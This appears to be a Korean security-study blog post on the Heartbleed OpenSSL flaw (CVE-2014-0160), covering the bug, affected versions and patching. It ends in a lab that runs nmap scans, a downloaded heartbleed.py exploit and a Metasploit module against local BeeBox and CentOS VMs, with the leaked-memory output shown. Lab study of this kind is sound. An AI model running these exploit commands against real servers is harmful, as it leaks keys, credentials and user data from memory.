EASY7
CVE-2014-0160 OpenSSL heartbleed 하트블리드 취약점 본문
하트블리드 취약점
SSL/TLS의 오픈소스 라이브러리인 OpenSSL 에서 TLS heartbeat를 잘못 구현하여 나타난 취약점.
Heartbeat란 클라이언트와 서버 간의 연결 상태를 체크하기 위한 OpenSSL 확장 모듈이다.
하트비트라는 확장 모듈에서 클라이언트 요청메세지를 처리할 때 데이터 길이 검증을 수행하지 않아, 시스템 메모리에 저장된 64kb크기의 데이터를 외부에서 아무런 제한 없이 탈취할 수 있는 취약점.
<OpenSSL>
키를 이용해서 암호화통신을 함.
공격자가 키를 얻을 수 있고, 암호화되지 않는 상태로 읽을 수 있다. 또한 다른 사람 행세를 하며 서버에 침입할 수 있다.
관련 CVE정보
CVE-2014-0160
취약한 OpenSSL 버전 & 영향을 받지 않는 버전
**취약한 OpenSSL 버전(참고 : CentOS에서 yum을 이용해 OpenSSL를 설치한다면 취약한 버전에 해당해도, 패치된 버전일 수 있다.
-OpenSSL 1.0.1 ~ OpenSSL 1.0.1f
-OpenSSL 1.0.2-beta, OpenSSL 1.0.2-beta1
**영향 받지 않는 소프트웨어
-OpenSSL 0.9.x 대 버전
-OpenSSL 1.0.0 대 버전
-OpenSSL 1.0.1g
보안 조치 방법
점검 방법
OpenSSL 버전 정보 확인 : openssl version -a
취약한 OpenSSL 버전을 최신 버전으로 업데이트하기
실습 1)nmap 으로 heartbleed에 취약한 버전인지 확인하기(CentOS 6, BeeBox)
실습 환경 : CentOS 6
1. CentOS6 콘솔에서 openssl 버전 알아보기
$nmap -d --script=ssl-heartbleed --script-args=vulns.showall -sV IP주소SSL서버
(참고 : nmap으로 heartbleed 버전 확인하려면 "ssl-heartbleed.nse"가 "/usr/share/nmap/scripts"에 있는지 확인해야한다. 구글에 치면 다운로드 가능하다. 또 tls.lua 가 /usr/share/nmap/nselib 에 있는지 확인해야한다. 구글에 치면 다운로드 가능.)
**현재 버전은 패치된 버전임을 알 수 있다.
NSE: [ssl-heartbleed 192.168.50.146:443] No heartbeat response received, server likely not vulnerable
NSE: [ssl-heartbleed 192.168.50.146:443] we're done!
NSE: [ssl-heartbleed 192.168.50.146:443] No heartbeat response received, server likely not vulnerable
NSE: [ssl-heartbleed 192.168.50.146:443] we're done!
NSE: [ssl-heartbleed 192.168.50.146:443] No heartbeat response received, server likely not vulnerable
**OpenSSL 하트비트 활성화 여부 확인
openssl s_client -connect domain.com:8443 -tlsextdebug -debug -state | grep -i heatbeat
SSL_connect:before SSL initialization SSL_connect:SSLv3/TLS write client hello SSL_connect:SSLv3/TLS write client hello Can't use SSL_get_servername SSL_connect:SSLv3/TLS read server hello depth=0 C = BE, ST = Flanders, L = Menen, O = MME, OU = IT, CN = bee-box.bwapp.local, emailAddress = bwapp@itsecgames.com verify error:num=66:EE certificate key too weak verify return:1 depth=0 C = BE, ST = Flanders, L = Menen, O = MME, OU = IT, CN = bee-box.bwapp.local, emailAddress = bwapp@itsecgames.com verify error:num=18:self signed certificate verify return:1 depth=0 C = BE, ST = Flanders, L = Menen, O = MME, OU = IT, CN = bee-box.bwapp.local, emailAddress = bwapp@itsecgames.com verify error:num=10:certificate has expired notAfter=Apr 13 18:11:32 2018 GMT verify return:1 depth=0 C = BE, ST = Flanders, L = Menen, O = MME, OU = IT, CN = bee-box.bwapp.local, emailAddress = bwapp@itsecgames.com notAfter=Apr 13 18:11:32 2018 GMT verify return:1 SSL_connect:SSLv3/TLS read server certificate SSL_connect:SSLv3/TLS read server key exchange SSL_connect:SSLv3/TLS read server done SSL_connect:SSLv3/TLS write client key exchange SSL_connect:SSLv3/TLS write change cipher spec SSL_connect:SSLv3/TLS write finished SSL_connect:SSLv3/TLS write finished SSL_connect:SSLv3/TLS read server session ticket SSL_connect:SSLv3/TLS read change cipher spec SSL_connect:SSLv3/TLS read finished SSL3 alert read:warning:close notify SSL3 alert write:warning:close notify |
실습환경 : BeeBox
*BWAPP의 Openssl 이용해보기
1. Bee-box 콘솔에서 openssl 버전 알아보기
$dpkg -l openssl (우분투 계열 명령어)
openssl 버전은 0.9.8g-4임
2. nmap을 통해 취약한 버전인지 스캔하기
nmap --script ssl-heartbleed -sV -p 8443 172.30.1.60
3. bee-box에서 다운로드 받은 heartbleed.py 실행해서 익스플로잇해보기
$python heartbleed.py -p 8443 172.30.1.60
데이터가 유출되며 취약한 서버임을 알려줌
Connecting...
중략 WARNING: server returned more data than it should - server is vulnerable!
|
실습 2) 메타스플로잇 이용하여 익스플로잇하기
결과값
[*] 172.30.1.60:8443 - Leaking heartbeat response #1 [*] 172.30.1.60:8443 - Sending Client Hello... [*] 172.30.1.60:8443 - SSL record #1: [*] 172.30.1.60:8443 - Type: 22 [*] 172.30.1.60:8443 - Version: 0x0301 [*] 172.30.1.60:8443 - Length: 86 [*] 172.30.1.60:8443 - Handshake #1: [*] 172.30.1.60:8443 - Length: 82 [*] 172.30.1.60:8443 - Type: Server Hello (2) [*] 172.30.1.60:8443 - Server Hello Version: 0x0301 [*] 172.30.1.60:8443 - Server Hello random data: 5d876997bdfd7091cdfba7319dc1b06a6aaa63c10dab9c7996519d5acbb63c43 [*] 172.30.1.60:8443 - Server Hello Session ID length: 32 [*] 172.30.1.60:8443 - Server Hello Session ID: 1f42298e4e82d2cd59d675cec220bb84424beece9bdeaec83cc1df145617fb9c [*] 172.30.1.60:8443 - SSL record #2: [*] 172.30.1.60:8443 - Type: 22 [*] 172.30.1.60:8443 - Version: 0x0301 [*] 172.30.1.60:8443 - Length: 675 [*] 172.30.1.60:8443 - Handshake #1: [*] 172.30.1.60:8443 - Length: 671 [*] 172.30.1.60:8443 - Type: Certificate Data (11) [*] 172.30.1.60:8443 - Certificates length: 668 [*] 172.30.1.60:8443 - Data length: 671 [*] 172.30.1.60:8443 - Certificate #1: [*] 172.30.1.60:8443 - Certificate #1: Length: 665 [*] 172.30.1.60:8443 - Certificate #1: #emailAddress=bwapp@itsecgames.com,CN=bee-box.bwapp.local,OU=IT,O=MME,L=Menen,ST=Flanders,C=BE>, issuer=#emailAddress=bwapp@itsecgames.com,CN=bee-box.bwapp.local,OU=IT,O=MME,L=Menen,ST=Flanders,C=BE>, serial=#, not_before=2013-04-14 18:11:32 UTC, not_after=2018-04-13 18:11:32 UTC> [*] 172.30.1.60:8443 - SSL record #3: [*] 172.30.1.60:8443 - Type: 22 [*] 172.30.1.60:8443 - Version: 0x0301 [*] 172.30.1.60:8443 - Length: 203 [*] 172.30.1.60:8443 - Handshake #1: [*] 172.30.1.60:8443 - Length: 199 [*] 172.30.1.60:8443 - Type: Server Key Exchange (12) [*] 172.30.1.60:8443 - SSL record #4: [*] 172.30.1.60:8443 - Type: 22 [*] 172.30.1.60:8443 - Version: 0x0301 [*] 172.30.1.60:8443 - Length: 4 [*] 172.30.1.60:8443 - Handshake #1: [*] 172.30.1.60:8443 - Length: 0 [*] 172.30.1.60:8443 - Type: Server Hello Done (14) [*] 172.30.1.60:8443 - Sending Heartbeat... [*] 172.30.1.60:8443 - Heartbeat response, 13027 bytes [+] 172.30.1.60:8443 - Heartbeat response with leak, 13027 bytes [*] 172.30.1.60:8443 - Printable info leaked: ......].:.'.F..P...7O..S.?8.n.E......z..f.....".!.9.8.........5.............................3.2.....E.D...../...A.............................................4.2...................................................#.............A...............................#.............*.(.........................................+........-.....3.&.$... ..2...[.....JM............r.3..q............................................................................................................................................c.;...j..._.^.K.].s.\.8.Z.Y.w.W.~.U.o...R.O.P.N.....(.L.A.7.E.P...D.B.A.@.7.?.....L...[.6...5.........3.0.........+...*.).'.....:.".....!. .K...M.....f.....Z...%.....@.....8...................=.....&.......................T......./.....>.,...a...!.9.y.x.t.k.D.a.[.%.....S...;.9.5.3.r..................................................................................................................................... repeated 11966 times ..................................................................................................................................... [*] 172.30.1.60:8443 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed |
데이터가 유출됨을 확인.
SSL은 443인데 8443은 뭘까?
참고자료
실습 자료
https://sangwook.github.io/2014/04/08/openssl-heartbeat-heartbleed.html
https://www.youtube.com/watch?v=SSqiTBNKT9A
https://net123.tistory.com/547 -메타스플로잇 익스플로잇 정보
취약점 관련 자료
https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=20884 -키사 보안 공지
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
'보안 공부 > 취약점 실습' 카테고리의 다른 글
CVE-2019-0708 RDP 취약점 BlueKeep 취약점 (0) | 2019.10.26 |
---|---|
path traversal을 통한 RCE (0) | 2019.09.26 |
ghost(CVE-2015-0235) (0) | 2019.09.10 |
Routing Table, ARP Table, MAC Table (0) | 2019.09.04 |
Race Condition 경쟁조건 (0) | 2019.09.04 |